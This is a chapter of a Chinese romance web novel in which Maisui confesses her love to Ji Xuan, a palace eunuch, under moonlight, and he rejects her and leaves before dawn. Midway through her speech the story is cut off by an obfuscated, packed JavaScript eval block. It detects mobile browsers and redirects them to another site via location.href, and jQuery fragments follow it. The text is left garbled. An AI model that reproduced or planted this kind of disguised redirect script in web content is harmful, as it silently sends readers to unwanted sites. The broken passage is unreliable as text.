22. 分开

作品:《和太监夫郎二三事

    月如银钩,高悬于天际。


    纪瑄不回宫,麦穗拿了些晚饭还没用完的果子露出来,两人在院子里的大槐树下边喝边聊。


    “这是春日的时候,我跟巷子里的嬢嬢抽空去郊外捡的,是野生樱桃,做了一些樱桃酥和樱桃酒,平日师傅是不准我喝的。”


    她悄悄跟纪瑄说。


    纪瑄看向已经关紧门,灯也熄了的屋子,麻子李饭间喝了些黄粱酒,这是他一贯的习惯,每顿饭都总要喝两口的,所以睡眠不错,吃完收拾就睡了。


    “少不饮酒,师傅做得对。”


    “哎呀,这是果酒,不会醉太厉害的。”麦穗说,边给两人都倒了一杯,接着碰了一下他的碗,“我喝了,你随意。”


    在宫里见,总是害怕会被发现会如何,怎么都紧着一根弦,可在宫外,在这巷子里,能全身心放松下来。


    人高兴,就想喝两口解解馋。


    纪瑄无奈的笑着摇了摇头,拿过桌上的酒喝了起来,这果子露他并不陌生,过往在纪家,府上的师傅也会做,麦穗这手艺,就是跟他们学的。


    她啊,什么东西都学得很快。


    麦穗一边喝一边观察着他的反应,见人也喝了,顿时心里松闲下来。


    两人又多饮了几杯,甜甜腻腻的水让人似乎有些上头。


    几杯果酒下肚后麦穗拉着他说起近些时日的事来。


    其实巷子里的生活并不算十分有趣,她大部分时候两点一线,不是操刀动手就是做细碎的家务事,买菜洗衣做饭,日复一日。


    可就是说起来没完没了。


    纪瑄静静的听着,目光在她脸上流转,朦胧月色下,人眉飞色舞的讲着,分明都是一些杂事,可从她嘴里说出来,好像也变得意趣有意思起来。


    她面上看不出来太多对这些小事消耗的苦闷,只有对自己实力的欣赏,讲到兴处还拍了拍胸脯,道:“你是没瞧着,我一个人就可以推着那个板车走,拿好多的东西……”


    “真厉害。”


    纪瑄抬手,想去抚她的脸,但最终还是放了下来,他看着她,由衷的夸赞道:“穗穗从来一个人,也能做很多事,跟你比,我都逊色不少。”


    麦穗注意到他的动作,将酒碗放下,拉过他的手在覆上自己的面颊,乌亮的眸子看着他,认真严肃说:“咱俩能做的不一样,像你那些工艺品,那些房子各种东西的,我就做不了,一听你说那几分的线,要用多少的东西,怎么样才能准确精分到哪里哪里,我就想睡觉,还有你那些之乎者也的,我也不太会。”


    她的水平……嗯,更多限于识了字,也能写能画,大抵懂其中的意思,但若要像纪瑄他们这种脱口而出就是各种词句,引经据典的,她是完全做不到的。


    赵家婶子说她能教春杏课业,可如若再过一年半载啊,学得往深里去,她也教不了了。


    麦穗用脸蹭了蹭他的掌心,“纪瑄,你会一些,我会一些,只要安安稳稳的,将来日子肯定越过越好的。”


    少女细腻光滑的肌肤在他掌心来回蹭着,夜间的晚风吹得有些薄凉意,可纪瑄却煞觉滚烫,仿若置于火架上炙烤一般。


    人沉默,久久不言,只迎头向着风,闭上了眼睛。


    他任风在脸上轻拂着,吹散酒意,也吹散心里头那点不安分的念头,这才起身,道:“穗穗,我们出去走走罢?”


    “好啊。”


    麦穗也跟着起来,拉过他的手,向屋里头喊了一声:“师傅,我跟纪瑄出去走走,晚点回来。”


    人或许已经睡死过去了,并没有回复。


    她拉着人出门。


    今日天儿很好,又近夏日,天气变得热了起来,许多人家也没有睡,家家户户敞开着门,但见灯影交错,孩童绕膝玩乐,有妇人家聚在一块,边纳着千层鞋底边聊天儿,欢声笑语不断。


    麦穗走过,不时有人与她打招呼,问今日他们屋里头啥子情况,又问她身边这是何人?


    “他啊,现在是我阿兄,将来呢,说不准就是我的夫郎啦!”


    麻子李性子孤僻,跟巷子里头人少有往来,但是麦穗常碰上他们,跟谁都能聊两句,久而久之也熟悉了,说话并无太多顾忌。


    其她人没把她的话太当真,哈哈大笑,问:“为啥是说不准?”


    麦穗道:“因为我喜欢他嘛,可人家还没答应我嘞。”


    直接的话语叫纪瑄心头一震,“穗穗!”


    “好了好了,开玩笑的。”


    麦穗打着哈哈收敛了话头,跟那些阿婆婶子告了话,牵着纪瑄继续往外走,出了胡同巷子。


    ……


    “你生气了吗?”


    一路上纪瑄都十分沉默,不说话,这叫她想起除夕那日……他也是这样不言不语的。


    “没有。”


    纪瑄道:“穗穗,以后像那样的玩笑话,别再说了,对你影响不好。”


    “我没有觉得影响不好呀。”


    “而且我那也不全然是玩笑话,也有认真的成分在的。”


    她停下脚步,抬头看向纪瑄,很认真的说:“那句喜欢就是真的。”


    过去夫人跟姨娘拿她跟纪瑄开玩笑无数次,麦穗也没有当真过,亦不会多想,不会去考虑喜欢与否的问题,可这些时日,她空闲下来的时分,人细细斟酌过。


    她确定自己是喜欢纪瑄的。


    不是因为他的少爷身份。


    也不是因为纪家,因为夫人姨娘对她的好,人想报恩,只是单纯是因为这个人。


    他们勉强也算一起长大,青梅竹马了。


    十岁开始,两人整天朝夕相对,形影不离,青春躁动的时期,二人都是在一块过的,那么多的回忆和细节,足以让她在静下心来回想过后,确定这一点。


    “纪瑄,我没有喜欢过人,我不知道,喜欢和在一起,该用什么样的方式去表达或者更准确的说,是怎么样能叫对方不产生困扰,容易接受,但是我想……我们一起长大,就不必拘泥于那些形式,也不用这么弯弯绕绕的,所以我很直接的跟你说了,嗯。”


    她顿了顿,道:“我再一次很郑重的跟你说一次,我喜欢你,想跟你在一起,以后每年的每个大日子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773969|189018||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,都可以一起过,像除夕,像现在这样。”


    纪瑄沉默。


    月光下。


    静寂无声,只有两道影子被拉得很长很长。


    不知过去多久,纪瑄终于开口:“穗穗,我觉得,可能有些事情,还是需要跟你说清楚。”


    “听上去是不好的感觉。”


    麦穗捂住耳朵,“我拒绝听了。”


    她不想听,可是纪瑄这回很是坚决,人将她的手拿下来,迫她面对自己,神色严肃的说:“往后,你便认我叫兄长罢,然后在这巷子里好好生活,莫要惦念我,更别再进宫来了。”


    这话犹如一道闷雷从她脑袋顶轰然炸开,麦穗久久才勉强反应过来他说了什么,她跌撞的往后退了两步,哽咽问:“为什么?是我成为你的负担了吗?还是说刚刚我的话,叫你感觉到压力不舒服了,如果是……没关系呀,其实我也不是那么着急,你……你可以当我没有说过,对,当我没说过就可以了。”


    怎么会?


    她永远不会是他的负担!


    可纪瑄还是顺着她的话应答了,“对,你成为我的负担了,我想在宫里过得更好一些,不想再被宫外的种种牵绊住。”


    “我可以不是你的……”


    她想说她会好好生活,不会牵绊住他,然而面对他看不到一点动容的眼神,又止住了话头。


    “我知道了。”


    麦穗艰难的扯了一声笑,仰头看着天空,是黑压压的一片,连那银钩似的弯月也不知何时躲到了乌云之后。


    “回去罢,时候不早了,该休息了。”


    她没有再继续往前走的冲动,转头折回,纪瑄跟在身后,二人进家门,各自分开,进了自己个儿的屋。


    麦穗没燃灯,摸黑躺进被子里,在一片万籁俱寂中,终于是忍不住哭了起来。


    可她不敢哭得太大声,只努力的咬着被子


    她成为纪瑄的负担了!


    人满脑子里都是这一句话,越想眼泪就越止不住,啪啪啪的落,一滴滴的全搭在被子上,被头湿濡了一大块。


    ……


    纪瑄站在门口,听着压抑的哭腔,听了一整夜,直到寅时三刻,宫门再开。


    他离开了麻子李家。


    人走之前,敲响了麻子李的门,将抽空刻好的转运珠交给麻子李。


    “劳师傅帮我转交给她,就说做兄长的,望她一切平安。”


    人定了定神,深呼吸一口气,又说道:“穗穗在这里,一切就麻烦您了,她年纪还小,如若有什么做得不周到之处,还请您多多包涵一下,她很聪明机敏的,您与她好好说,她都会明白的。”


    麻子李握着那颗小珠子,听着这些话,心里头十分不是滋味儿,但最后也没说什么,只是一贯强势的说:“她是劳资的徒弟,将来是要给劳资养老送终的,不用你讲,劳资也会的!”


    纪瑄扯了扯嘴角,放心的迈开步子,走出了麻子李的家门。


    身影在胡同巷子里一点点变小,彻底消失不见。


    这时,倚在门框上的人轰然倒塌下去。